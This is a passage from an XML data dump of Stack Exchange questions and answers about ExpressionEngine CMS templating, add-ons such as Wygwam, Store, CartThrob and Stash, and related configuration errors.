&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  {/exp:channel:entries}&#xA;  {embed='includes/footer'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2014-02-14T09:00:16.857" LastActivityDate="2015-03-12T21:03:02.267" Title="How to output a grid field within a relationship?" Tags="|relationships|grid|related-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19419" PostTypeId="2" ParentId="19416" CreationDate="2014-02-13T16:00:31.183" Score="3" Body="&lt;p&gt;Edit your field and ensure that &lt;strong&gt;Default Text Formatting&lt;/strong&gt; is set to None, this should fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-02-13T16:00:31.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19420" PostTypeId="2" ParentId="19416" CreationDate="2014-02-13T16:02:57.137" Score="1" Body="&lt;p&gt;Did you change your field type to a checkbox from something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the Default Text Formatting option in your field options. If it's set to something other than &quot;none&quot; change it to none. If it's on none, change it to something else, then back to none. In either case, a checkbox should show up to update entries with your new choice-- check it. And then click Update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything should be reset to none now, and the tags should be gone.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-13T16:02:57.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19421" PostTypeId="2" ParentId="19340" CreationDate="2014-02-13T17:27:07.923" Score="0" Body="&lt;p&gt;I wasn't sure how to build the custom query, but I worked out this solution, but it's probably not the most efficient, but it works. I'm searching for the filename in the channel entries custom field instead of the file_id.&#xA;The original code now has an embed call to another template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:files file_id=&quot;{segment_2}&quot;}&#xA;&amp;lt;img src=&quot;{url}&quot; /&amp;gt;&#xA;{embed=&quot;includes/_related_entries&quot; file=&quot;{filename}&quot;}&#xA;{/exp:assets:files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then this is the embedded template (cf_images is the Assets custom field):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;yxz&quot; disable=&quot;categories|member_data|pagination&quot; search:cf_images=&quot;={embed:file}&quot;}&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot; title=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="483" LastActivityDate="2014-02-13T17:27:07.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19422" PostTypeId="1" AcceptedAnswerId="19461" CreationDate="2014-02-13T17:32:16.810" Score="0" ViewCount="113" Body="&lt;p&gt;I've upgraded a site to EE 2.7.3 and upgraded Wygwam to 3.2.2 , but now when I try and edit or publish a new entry, I get the error below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method Wygwam_helper::custom_toolbar() in /var/www/vhosts/adaptservices.ie/httpdocs/system_adapt/expressionengine/third_party/_wygwam/ft.wygwam.php on line 478&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module seems ok, I access it's settings, just not the channel entries where it's used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upgrade went fine offline, but the error appeared when I moved the site online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-02-14T13:46:59.510" Title="Wygwam error after upgrade" Tags="|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19423" PostTypeId="2" ParentId="1390" CreationDate="2014-02-13T17:45:48.843" Score="0" Body="&lt;p&gt;If you're stuck with the native field type and can't switch for whatever reason (legacy data etc) then you can always use the phpstringfun plug-in (&lt;a href=&quot;http://devot-ee.com/add-ons/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/phpstringfun&lt;/a&gt;) and do something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:phpstringfun function='substr_count' par1='Foo'}{checkboxes_field}{/exp:phpstringfun}&quot;==&quot;1&quot;}&#xA;Foo Found&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-02-13T17:45:48.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19424" PostTypeId="1" CreationDate="2014-02-13T17:50:12.140" Score="1" ViewCount="424" Body="&lt;p&gt;I'm new to EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I can't load jQuery to my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a template in global/footer, then added just before the &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;{path='scripts/bootstrap'}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;{path='scripts/brand'}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried to link the file with &lt;code&gt;{theme_folder}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched everywhere (here, EE Forums...), seems like nobody has the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I just don't see it and it's really a simple error in my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2747" LastActivityDate="2014-02-13T20:02:23.523" Title="jQuery not working" Tags="|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19426" PostTypeId="2" ParentId="19418" CreationDate="2014-02-13T17:59:13.087" Score="4" Body="&lt;p&gt;This works in my tests when accessing a child relationship:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{relationship_field}&#xA;&#xA;    &amp;lt;p&amp;gt;Child entry title: {relationship_field:title}&amp;lt;/p&amp;gt;&#xA;&#xA;    {relationship_field:grid_field}&#xA;        Column 1: {relationship_field:grid_field:grid_column_1} &amp;lt;br&amp;gt;&#xA;        Column 2: {relationship_field:grid_field:grid_column_2} &amp;lt;br&amp;gt;&#xA;        {!--   etc...   --}&#xA;    {/relationship_field:grid_field}&#xA;&#xA;{/relationship_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-02-13T17:59:13.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19428" PostTypeId="1" AcceptedAnswerId="19447" CreationDate="2014-02-13T19:45:53.830" Score="0" ViewCount="82" Body="&lt;p&gt;I'm needing to add a Quick View/Quick Buy feature to my client's products page. Basically when they click the Quick Buy button a modal/div containing product details and a Buy button should display. My client would rather have this than a separate product details page. Is there a recommended way to do this? I was thinking that I could pass the product id as a parameter in the call to open up the modal and have the product details functionality hidden in the modal div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the code below. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!-- product with call to modal --&amp;gt;&#xA;    {exp:channel:entries channel=&quot;assets&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot; category=&quot;22&quot; limit=&quot;1&quot; entry_id=&quot;23&quot;}&#xA; &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Date:&amp;lt;/strong&amp;gt; {asset_date}&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Price:&amp;lt;/strong&amp;gt; {product_price}&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Status: &amp;lt;span style=&quot;color: #5cb85c&quot;&amp;gt;Available&amp;lt;/span&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li class=&quot;reserve-button&quot;&amp;gt;&amp;lt;a data-toggle=&quot;modal&quot; href=&quot;#styledModal&quot; data-id=&quot;{entry_id}&quot; class=&quot;btn btn-primary btn-sm&quot;&amp;gt;Reserve Asset&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&#xA;    &amp;lt;!-- product details modal content --&amp;gt;&#xA;    {exp:channel:entries channel=&quot;assets&quot; category_id=&quot;22&quot; limit=&quot;1&quot;}&#xA;      {exp:cartthrob:add_to_cart_form id=&quot;add-cart&quot; entry_id=&quot;{entry_id}&quot; no_tax=&quot;{no_tax}&quot; no_shipping = &quot;{no_shipping}&quot; return=&quot;checkout/view_cart&quot;} &#xA;        &amp;lt;ul&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Date:&amp;lt;/strong&amp;gt; {asset_date}&amp;lt;/li&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Price:&amp;lt;/strong&amp;gt; {product_price}&amp;lt;/li&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Status: &amp;lt;span style=&quot;color: #5cb85c&quot;&amp;gt;Available&amp;lt;/span&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/li&amp;gt;&#xA;          &amp;lt;li class=&quot;reserve-button&quot;&amp;gt;&amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary btn-sm&quot;&amp;gt;Reserve Asset&amp;lt;/button&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;      {/exp:cartthrob:add_to_cart_form} &#xA;     {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2660" LastEditorUserId="2660" LastEditDate="2014-02-16T08:27:51.477" LastActivityDate="2014-02-16T08:27:51.477" Title="Cartthrob - Quick View/Quick Buy" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19429" PostTypeId="1" AcceptedAnswerId="19434" CreationDate="2014-02-13T19:56:07.373" Score="0" ViewCount="40" Body="&lt;p&gt;I'm adding two div-wrappers around every 3 relationships. However, if the relationships count ends at 5, then I still need to add the ending div tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code -- where &quot;IS_LAST&quot; is what I seem to need to target, How do I target the last relationship called into the loop? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {models}&#xA;      {if models:count == &quot;1 || 4 || 7&quot;}&#xA;        &amp;lt;div class=&quot;item  active&quot; &amp;gt;&#xA;               &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;      {/if}&#xA;&#xA;      &amp;lt;!-- other code in here--&amp;gt;&#xA;&#xA;      {if models:count == &quot;1 || 4 || 7&quot; OR  models:count == IS_LAST}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;      {/if}&#xA;    {/models}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1246" LastActivityDate="2014-02-13T21:50:10.457" Title="Target the last relationship listed in a relationship field" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19430" PostTypeId="2" ParentId="19424" CreationDate="2014-02-13T20:02:23.523" Score="2" Body="&lt;p&gt;You don't mention if the text/code renders to the screen? If so you can debug in the browser inspector to find out the issue with paths or JS errors that may be preventing JQuery to run. So I'm assuming it's not rendering to the screen and based on the information you've provided, you have a &quot;global&quot; template group with a template called &quot;footer&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try accessing that directly on your URL /index.php/global/footer. That should render out that template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not, are you using external files or editing the template directly in EE interface (Database)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the template is an external file, are you sure the path is correct? Are any of your templates correctly appearing via external files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can get the individual template to render, there's something wrong with your parent/root template and including the /global/footer template. Assuming you have a template group called &quot;site&quot; and a template called &quot;index&quot; and that this template group is set to your default, ensure you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=global/footer}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and you should be good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the assumption it is (and was) rendering the JavaScript include line to the browser output and it's the other lines you're struggling with, you're referencing the path tag, which means these are also templates. So you have a template group called &quot;scripts&quot; and templates called &quot;bootstrap&quot; and &quot;brand&quot;. These are templates, not pointing to external files elsewhere in your build - is this intentional? You mentioned &lt;code&gt;{theme_folder}&lt;/code&gt;, so I assume not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by hard coding the URL: /themes/site_themes//scripts/bootstrap.js (assuming that URL is correct for your server). If that works, convert to a variable (in your config.php file) which you can then utilise throughout your site and templates.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-02-13T20:02:23.523" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19431" PostTypeId="1" CreationDate="2014-02-13T20:49:47.897" Score="1" ViewCount="65" Body="&lt;p&gt;I'm running Store 2.0.2 on ExpressionEngine 2.7.1 and am using Paypal Express as my gateway. Orders aren't going through and I can't figure out why. Hoping someone can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User is taken over to Paypal with the correct total and can put in all their credit card info and it seems to go through. It sends them back to the site and I see it flash index.php?ACT=28&amp;amp;H=..... And then it redirects to the site's homepage. It &lt;em&gt;should&lt;/em&gt; take them to the order confirmation page but doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store sends an Order Confirmation email to the user (and admins). But the order stays Incomplete and card is never charged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the order detail under transactions is says the status is redirected. I don't know what that means (if anything?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my checkout tag: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    form_class=&quot;form-horizontal&quot;&#xA;    payment_method=&quot;paypal_express&quot;&#xA;    return=&quot;shop/order/ORDER_HASH&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="2749" LastActivityDate="2014-02-21T21:24:42.350" Title="Orders not completing" Tags="|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19432" PostTypeId="1" CreationDate="2014-02-13T21:30:35.053" Score="1" ViewCount="24" Body="&lt;p&gt;I have Search Fields set up to do some non-standard filtering of a channel entry and all works fine. I've come across a separate issue where it would be good to derive a Stash list from these Search Field results but it doesn't seem possible to get the two working in tandem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise that there's some overlap in terms of the functionality here but kind of reluctant due to time to abandon the current Search Fields setup - does anyone know of a way to set a Stash list from the SF results or is it a no go?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-02-13T21:30:35.053" Title="Does Stash play nice with Search Fields plugin?" Tags="|stash|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19433" PostTypeId="1" CreationDate="2014-02-13T21:39:39.470" Score="2" ViewCount="170" Body="&lt;p&gt;Is there any way to have one member group require manual activation but have another group not require any activation?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-02-18T15:48:20.317" Title="Manual member account activation for one group" Tags="|members|activation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19434" PostTypeId="2" ParentId="19429" CreationDate="2014-02-13T21:50:10.457" Score="1" Body="&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {models}&#xA;  {if models:count == &quot;1 || 4 || 7&quot;}&#xA;    &amp;lt;div class=&quot;item  active&quot; &amp;gt;&#xA;           &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  {/if}&#xA;&#xA;  &amp;lt;!-- other code in here--&amp;gt;&#xA;&#xA;  {if models:count == &quot;1 || 4 || 7&quot; OR  models:count == models:total_results}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;{/models}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="906" LastActivityDate="2014-02-13T21:50:10.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19435" PostTypeId="1" CreationDate="2014-02-13T22:37:07.860" Score="1" ViewCount="128" Body="&lt;p&gt;I'm upgrading a site from 2.5.5 to 2.7.3 and I am running into an issue migrating one of my safecracker forms.  The values for return &amp;amp; return_url were being set using javascript in the safecracker form. The form would submit to 1 of 2 return templates based on information entered in the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I upgraded the form, I seem to have lost the ability to change the return &amp;amp; return_url params &amp;amp; the form will only submit to the default return template when it is supposed to be returning to the alternate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Console is clean when submitting/viewing the page, so I think the issue has something to do with the new channel form open tags. Has anyone else encountered an issue like this upgrading a safecracker form?&lt;/p&gt;&#xA;" OwnerUserId="204" LastActivityDate="2014-02-13T22:37:07.860" Title="Channel Form change return &amp; return_url with javascript" Tags="|safecracker|channel-form|javascript|2.7.0|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19436" PostTypeId="1" AcceptedAnswerId="19437" CreationDate="2014-02-13T22:48:29.880" Score="0" ViewCount="171" Body="&lt;p&gt;i've got a text field that i'm using to include an optional url in entries which are used for homepage announcements. if a url is included, the homepage will link to that url. if not, it will link to the announcement itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{if announcement_redirect}{announcement_redirect}{if:else}{site_url}announcement/{entry_id}/{/if}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works like a charm with local, relative urls (ie: /event/1234/). but when an absolute path is entered (ie: &lt;a href=&quot;http://some.biz&quot; rel=&quot;nofollow&quot;&gt;http://some.biz&lt;/a&gt;), it adds an anchor tag around the url and becomes &lt;code&gt;&amp;lt;a href=&quot;&amp;lt;a href=&quot;http://some.biz&quot;&amp;gt;http://some.biz&amp;lt;/a&amp;gt;&quot;&amp;gt;&lt;/code&gt; which is clearly not great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the field's Default Text Formatting is set to None, and i even ran the &quot;Update all existing channel entries with new formatting choice?&quot; option to be sure of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was running EE 2.6.1 and hoped an upgrade to 2.7.3 would fix it, but that hasn't had any effect either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas on how to nix the auto-HTML?&lt;/p&gt;&#xA;" OwnerUserId="2037" LastActivityDate="2014-02-13T23:48:53.157" Title="absolute path URL in text field causing problems" Tags="|fields|text-formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19437" PostTypeId="2" ParentId="19436" CreationDate="2014-02-13T23:48:53.157" Score="2" Body="&lt;p&gt;Do you have 'Automatically turn URLs and email addresses into links?' set to 'no' in the channel's preferences?&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2014-02-13T23:48:53.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19438" PostTypeId="1" CreationDate="2014-02-14T00:35:58.870" Score="2" ViewCount="98" Body="&lt;p&gt;Is there a reason why Exp:resso Store 2 doesn't store the last four digits of the customers credit card number in the order details? &lt;/p&gt;&#xA;" OwnerUserId="2751" LastActivityDate="2014-02-14T10:27:06.240" Title="Store last 4 digits of credit card" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19439" PostTypeId="2" ParentId="14383" CreationDate="2014-02-14T00:41:41.817" Score="1" Body="&lt;p&gt;I remember this happening to us, try setting the state to blank instead of &quot;California&quot; so that just the zip codes are used in calculating the values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We only used the state value if there was one flat rate for the entire state.&lt;/p&gt;&#xA;" OwnerUserId="2750" LastActivityDate="2014-02-14T00:41:41.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19440" PostTypeId="1" AcceptedAnswerId="19454" CreationDate="2014-02-14T00:54:31.507" Score="0" ViewCount="450" Body="&lt;p&gt;So basically we need to check the pattern of a segment and if it doesn't match our patterns we go on to start our entries loop with a category (via seg2cat).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if &lt;code&gt;{segment_2}&lt;/code&gt; is a date, it's either formatted &lt;code&gt;YYYY-MM&lt;/code&gt; or &lt;code&gt;YYYY-MM-DD&lt;/code&gt;, otherwise it's a string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $seg2 = $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(2);&#xA;&#xA;    $date_pattern_half = '/^[0-9]{4}-(0[1-9]|1[0-2])$/';&#xA;    $date_pattern_full = '/^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])$/';&#xA;&#xA;    if( preg_match($date_pattern_full, $seg2) || preg_match($date_pattern_half, $seg2) ) {&#xA;?&amp;gt;&#xA;        {exp:low_events:entries channel=&quot;calendar&quot; date=&quot;{segment_2}&quot;}&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;        {exp:low_events:entries channel=&quot;calendar&quot; category=&quot;{segment_2_category_id}&quot;}&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;... do stuff with entries here ...&#xA;&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error we're getting back is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Parse error: syntax error, unexpected '}' in /server/domain/system/expressionengine/libraries/Functions.php(679) : eval()'d code on line 68&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for reference, the above function in Functions.php is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * eval()&#xA; *&#xA; * Evaluates a string as PHP&#xA; *&#xA; * @access  public&#xA; * @param   string&#xA; * @return  mixed&#xA; */&#xA;function evaluate($str)&#xA;{&#xA;    return eval('?'.'&amp;gt;'.$str.'&amp;lt;?php ');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for the 'line 68' val it's just a closing &lt;code&gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I should also note that when we remove the opening loops (&lt;code&gt;{exp:low_events:entries}&lt;/code&gt;) we don't get this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've tried the alternative syntax &lt;code&gt;&amp;lt;?php else: ?&amp;gt;&lt;/code&gt; etc but we get an &lt;code&gt;unexpected T_ELSE&lt;/code&gt; instead of the one above.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-02-14T05:06:04.090" LastActivityDate="2014-02-14T07:38:45.667" Title="Segment parsing and embedded PHP errors" Tags="|php|error|php-errors|low-seg2cat|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19441" PostTypeId="1" AcceptedAnswerId="19462" CreationDate="2014-02-14T00:56:50.527" Score="1" ViewCount="60" Body="&lt;p&gt;It is possible to paginate the categories?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the site project there is a lot of categories, and i would paginate them. But i don't know if it's possible or not to paginate a categories list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stéphane&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-02-14T16:17:17.843" Title="It is possible to paginate the categories??" Tags="|categories|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19443" PostTypeId="2" ParentId="7330" CreationDate="2014-02-14T01:10:02.397" Score="1" Body="&lt;p&gt;I figured out this awkward behaviour.  You must set the mailtype BEFORE you set the message data.  If you set it after the message it will have intrepreted the message as plaintext already.&lt;/p&gt;&#xA;" OwnerUserId="2752" LastActivityDate="2014-02-14T01:10:02.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19444" PostTypeId="2" ParentId="11367" CreationDate="2014-02-14T01:32:49.477" Score="1" Body="&lt;p&gt;I don't see any options for deciding the categories for the files through that initial Upload File/Browse Server dialog. The File Manager is definitely your best bet! If it's really important to you, I'd put in a Feature Request!&lt;/p&gt;&#xA;" OwnerUserId="2750" LastActivityDate="2014-02-14T01:32:49.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19445" PostTypeId="1" CreationDate="2014-02-14T01:35:56.480" Score="1" ViewCount="113" Body="&lt;p&gt;For some reason news does not get included in the search results on this site, apparently it never did and people didn't notice until a year or so later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the search code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form &#xA;  channel=&quot;pages&quot; &#xA;  result_page=&quot;Main/search_{embed:lang}&quot; &#xA;  search_in=&quot;everywhere&quot; &#xA;  channel=&quot;pages|jobs|slides|powerpoints|events_information|events|news_and_updates|awards|student_ambassadors&quot;&#xA;  status=&quot;not closed&quot; &#xA;  show_expired=&quot;yes&quot; &#xA;  show_future_entries=&quot;yes&quot; &#xA;  no_result_page=&quot;Main/search_no_results_{embed:lang}&quot;}&#xA;&#xA;    &amp;lt;input class=&quot;searchBox&quot; type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; placeholder=&quot;Enter your keywords&quot; size=&quot;18&quot; maxlength=&quot;100&quot; /&amp;gt;&#xA;    &amp;lt;input class=&quot;searchLink&quot; type=&quot;submit&quot; value=&quot;search&quot; class=&quot;submit&quot; /&amp;gt;&#xA;&#xA;{/exp:search:simple_form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of the channel names: &#xA;&lt;strong&gt;&lt;a href=&quot;https://i.stack.imgur.com/5v9F2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/5v9F2.png&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips?  I've been tasked with some revisions on a EE based site.  This is the very last thing I need to fix from the very long list and its driving me bonkers, would appreciate any help! :D&lt;/p&gt;&#xA;" OwnerUserId="2752" LastActivityDate="2014-02-14T03:52:07.817" Title="simple search not including some channels in results" Tags="|simple-search|multiple-channels|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19446" PostTypeId="1" AcceptedAnswerId="19455" CreationDate="2014-02-14T01:39:13.543" Score="1" ViewCount="56" Body="&lt;p&gt;I think I may be getting a parse order problem when I try and use Low's seg2cat variable in a conditional with Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;pg_content_left&quot;} &#xA;&#xA;    {if segment_2_category_id != ''}&#xA;&#xA;        {exp:stash:set_list name=&quot;news_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;            {exp:channel:entries channel=&quot;news&quot; status=&quot;open|featured&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot; category=&quot;{segment_2_category_id}&quot;}&#xA;                {stash:item_title}{title}{/stash:item_title}&#xA;            {/exp:channel:entries}&#xA;        {/exp:stash:set_list}&#xA;    {/if}&#xA; {/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Message: Invalid EE Conditional Variable: {if segment_2_category_id != ''}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I run the IF statement 